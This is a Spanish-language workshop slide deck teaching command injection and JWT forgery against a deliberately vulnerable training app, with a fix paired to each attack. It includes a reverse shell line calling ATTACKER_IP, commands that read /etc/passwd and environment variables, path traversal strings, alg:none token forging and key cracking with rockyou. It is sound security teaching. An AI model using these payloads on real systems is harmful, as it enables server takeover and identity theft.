



Command Injection y JWT/Autenticación

Taller de Seguridad Web – OWASP Top 10

Carlos Rodríguez Contreras · GitHub: [karrocon](#)

Agenda del día

🕒 Sesión 1 (2h)

Bloque	Tema
Repaso	Warm-up día 2
T06	Command Injection
Lab	Ejecutar comandos del SO
T06-Fix	Allowlist y sandboxing
Lab	Aplicar fix

🕒 Sesión 2 (2h)

Bloque	Tema
T07	Autenticación y JWT
Lab	Falsificar un token JWT
T07-Fix	JWT seguro
Lab	Aplicar fixes de JWT

Objetivos del día

Al terminar hoy serás capaz de:

1. 🖥 Ejecutar **comandos del sistema operativo** a través de la web
2. 🗝 Falsificar un token JWT con `alg: none` para ser admin
3. 🔑 Crackear la clave JWT `'secret'` en menos de 1 segundo
4. 🛡 Implementar allowlists y configurar JWT correctamente

💀 Hoy completamos **A03 (Injection)** con Command Injection y atacamos **A07 (Auth Failures)** con JWT.

Lo que ya sabéis (días 1-2)

-  SQLi: bypass login + extracción completa con UNION
-  XSS: stored, reflected, DOM + robo de tokens
-  Fixes: prepared statements + sanitize-html + CSP

Hoy: dos nuevas familias de ataque →

Ataque	Objetivo	Impacto máximo
Command Injection	Ejecutar código en el servidor	Control total (reverse shell)
JWT forging	Fabricar tokens de autenticación	Suplantación de identidad

T06: Command Injection

Ejecutar comandos del SO a través de la web

¿Qué es Command Injection?

El servidor ejecuta **comandos del sistema operativo** con input del usuario:

```
// src/routes/debug.ts - VULNERABLE
import { execSync } from 'child_process';

app.get('/debug', (req, res) => {
  const cmd = req.query.cmd as string;
  const output = execSync(cmd).toString(); // ← ¡El usuario controla cmd!
  res.json({ output });
});
```

Si el atacante envía `ls;cat /etc/passwd`:

```
# El servidor ejecuta:
ls;cat /etc/passwd → lista archivos + muestra usuarios del sistema
```

Metacaracteres de shell

Carácter	Función	Ejemplo
<code>;</code>	Encadenar comandos	<code>ls; whoami</code>
<code>&&</code>	Ejecutar si anterior OK	<code>true && cat /etc/passwd</code>
<code> </code>	Ejecutar si anterior falla	<code>false whoami</code>
<code>\$()</code>	Sustitución de comando	<code>\$(cat /etc/passwd)</code>
<code>`</code>	Sustitución (legacy)	<code>`whoami`</code>
<code> </code>	Pipe (redirigir output)	<code>ls grep secret</code>

💀 Un solo punto y coma permite ejecutar **cualquier comando** después del legítimo.

Ataques Command Injection en VulnApp

1. Reconocimiento básico

```
GET /debug?cmd=whoami      → usuario del proceso (node/appuser)
GET /debug?cmd=id          → uid, gid, grupos
GET /debug?cmd=ls -la      → listar archivos
```

2. Información del sistema

```
GET /debug?cmd=env         → TODAS las variables de entorno
GET /debug?cmd=cat /etc/passwd → usuarios del sistema
```

3. Acceso a la BD

```
GET /debug?cmd=cat vuln.db → volcado binario de SQLite
```

4. Reverse shell (máximo impacto)

```
GET /debug?cmd=bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
```

💀 Con reverse shell el atacante tiene una **terminal completa** en el servidor.

Path Traversal – otra forma de leer archivos

Si la app sirve archivos por ruta:

```
GET /files?path=../../../../etc/passwd
```

URL-encoded para evadir filtros:

```
GET /files?path=../../../../etc/passwd
```

Doble encoding (evade WAF):

```
GET /files?path=../../../../etc/passwd
```

⚠ Regla: siempre decodificar **antes** de validar. Si validas la URL codificada, el atacante la evade con doble encoding.

Lab T06 — Ejecutar comandos en el servidor

```
URL="https://vulnapp-owasp-01.azurewebsites.net/debug"
```

```
# 1. ¿Quién soy?
```

```
curl -s "$URL?cmd=whoami"
```

```
# 2. ¿Qué variables de entorno hay?
```

```
curl -s "$URL?cmd=env"
```

```
# 3. ¿Qué archivos hay?
```

```
curl -s "$URL?cmd=ls%20-la"
```

```
# 4. ¿Puedo ver otros archivos del sistema?
```

```
curl -s "$URL?cmd=cat%20/etc/hostname"
```



Objetivo: Demuestra que tienes ejecución de comandos arbitrarios.



Documenta cada comando y su output para el informe final.

El fix — Allowlist + execFile

❌ VULNERABLE — `exec` / `execSync` :

```
// Interpreta metacaracteres de shell
execSync(userInput);
```

Cualquier `;`, `&&`, `|` se interpreta.

✅ SEGURO — `execFile` + allowlist:

```
const ALLOWED = new Set([
  'uptime', 'date', 'hostname'
]);

if (!ALLOWED.has(cmd)) {
  return res.status(403).json({
    error: 'Comando no permitido'
  });
}

// execFile: NO invoca shell
execFile(cmd, [], (err, stdout) => {
  res.json({ output: stdout });
});
```

`exec` vs `execFile` vs `spawn`

Función	Shell	Metacaracteres	Riesgo
<code>exec</code> / <code>execSync</code>	✓ Sí	Interpretados	● ALTO
<code>execFile</code>	✗ No	Ignorados	● BAJO
<code>spawn</code>	Configurable	Depende de <code>shell</code>	● MEDIO

✓ **Regla:** usar siempre `execFile` o `spawn({ shell: false })`. Nunca pasar input del usuario a `exec`.

Casos reales de Command Injection

Caso	Año	Impacto
Shellshock (Bash)	2014	Millones de servidores afectados via CGI
Equifax	2017	147M registros, RCE via Struts
GitLab CE	2021	RCE sin autenticación (CVE-2021-22205)
Spring4Shell	2022	RCE en apps Spring (CVE-2022-22965)

T07: Autenticación y JWT

Falsificar tokens para ser quien quieras

Recordatorio: Estructura JWT

```
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOiJEsInJvbGUiOiJhZG1pb2I9.FIRMA
└── Header ─┘ └── Payload ─┘ └── Sig ┘
```

Header (decodificado):

```
{ "alg": "HS256", "typ": "JWT" }
```

Payload (decodificado):

```
{ "userId": 1, "username": "alice", "role": "admin", "iat": 1700000000 }
```

Firma = HMAC-SHA256(header + "." + payload, JWT_SECRET)

💡 **Herramienta:** jwt.io — decodifica y modifica tokens en tiempo real.

Vulnerabilidades JWT en VulnApp

```
// src/routes/auth.ts - DOS vulnerabilidades:  
const JWT_SECRET = 'secret'; // 1. Clave trivial (crackeable)  
  
// src/middleware/auth.ts - VULNERABLE:  
jwt.verify(token, JWT_SECRET); // 2. Acepta CUALQUIER algoritmo (incluido "none")
```

Vulnerabilidad	Impacto
Clave débil ('secret')	Se crackea en <1 segundo
No restringe algoritmo	Acepta alg: "none" → firma vacía

Ataque 1 — alg: none (eliminar la firma)

```
// En la consola del navegador o Node.js:  
const header = btoa(JSON.stringify({ alg: "none", typ: "JWT" }));  
const payload = btoa(JSON.stringify({  
  userId: 1, username: "alice", role: "admin"  
}));  
const fakeToken = `${header}.${payload}.`; // firma VACÍA
```

Usar el token falso:

```
curl -s https://vulnapp-owasp-01.azurewebsites.net/users/1 \  
-H "Authorization: Bearer $FAKE_TOKEN"
```

💀 El servidor acepta un token **sin firma** porque `jwt.verify` no restringe el algoritmo.

Ataque 2 — Brute force de la clave

```
# La clave 'secret' está en el diccionario rockyou.txt:  
jwt-cracker "eyJhbGciOiJIUzI1NiJ9..." -d /usr/share/wordlists/rockyou.txt  
# → Resultado: 'secret' encontrado en < 1 segundo
```

Una vez conoces la clave, puedes firmar CUALQUIER token:

```
const jwt = require('jsonwebtoken');  
const token = jwt.sign(  
  { userId: 1, username: "alice", role: "admin" },  
  'secret' // la clave crackeada  
);
```

Ataque 3 – Role tampering

```
// Token original de bob:  
{ "userId": 2, "username": "bob", "role": "user" }  
  
// Token modificado (firmado con 'secret'):  
{ "userId": 2, "username": "bob", "role": "admin" }
```

→ Bob ahora tiene **permisos de administrador** en toda la aplicación.

Lab T07 — Falsificar un token JWT

Paso 1 — Decodificar tu token actual:

1. Login como bob → copiar token
2. Pegar en jwt.io → leer payload

Paso 2 — Ataque `alg: none`:

1. En jwt.io: cambiar alg a "none", role a "admin"
2. Construir token: `base64(header).base64(payload).`
3. Usar el token para acceder a `/users/1` (perfil de alice)

Paso 3 — Firmar con la clave:

1. En jwt.io: poner "secret" como clave
2. Cambiar `role: "admin"` → copiar token firmado
3. Acceder a endpoints de admin

 **Documenta:** token original vs token falsificado. ¿Qué accesos nuevos consigues?

El fix — JWT seguro

```
// 1. RESTRINGIR algoritmo (bloquea alg:none):
const decoded = jwt.verify(token, JWT_SECRET, {
  algorithms: ['HS256'] // ← SOLO acepta HS256
});

// 2. Clave FUERTE (al menos 256 bits de entropía):
// .env
JWT_SECRET=a7f3b9c2e8d4f1a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8

// 3. Expiración corta:
jwt.sign(payload, JWT_SECRET, { expiresIn: '1h' });

// 4. Leer de variable de entorno:
const JWT_SECRET = process.env.JWT_SECRET!;
if (!JWT_SECRET || JWT_SECRET.length < 32) {
  throw new Error('JWT_SECRET must be at least 32 chars');
}
```

HS256 vs RS256

Aspecto	HS256 (simétrico)	RS256 (asimétrico)
Clave	Una sola clave compartida	Par público/privado
Firmar	Servidor (con clave)	Servidor (con privada)
Verificar	Servidor (misma clave)	Cualquiera (con pública)
Uso ideal	Monolitos	Microservicios, APIs públicas

✓ **Recomendación:** HS256 para apps simples con clave de ≥ 256 bits. RS256 para sistemas distribuidos.

Labs del día — resumen

Lab	Qué harás	Nivel
T06 – CMDi	<code>whoami</code> , <code>env</code> , <code>ls -la</code> en endpoint debug	🔥🔥🔥
T06 – Fix	Implementar allowlist de comandos	🛡️
T07 – JWT	Decodificar token → <code>alg:none</code> → acceso admin	🔥🔥🔥
T07 – Fix	<code>algorithms: ['HS256']</code> + clave fuerte + expiración	🛡️

🔗 **URL:** `https://vulnapp-owasp-01.azurewebsites.net`

🔧 **Herramientas:** curl + jwt.io

Resumen del día

Ataque	Payload clave	Defensa
CMDi	<code>; whoami / ; env / ; cat /etc/passwd</code>	allowlist + <code>execFile</code>
Path Traversal	<code>../../../../etc/passwd</code>	Normalizar + validar path
JWT alg:none	Header <code>{"alg":"none"}</code> + firma vacía	<code>algorithms: ['HS256']</code>
JWT brute force	jwt-cracker con diccionario	Clave ≥ 256 bits

🏆 **Logro del día:** Control total del servidor (CMDi) + suplantación de identidad (JWT). Y sabéis prevenir ambos.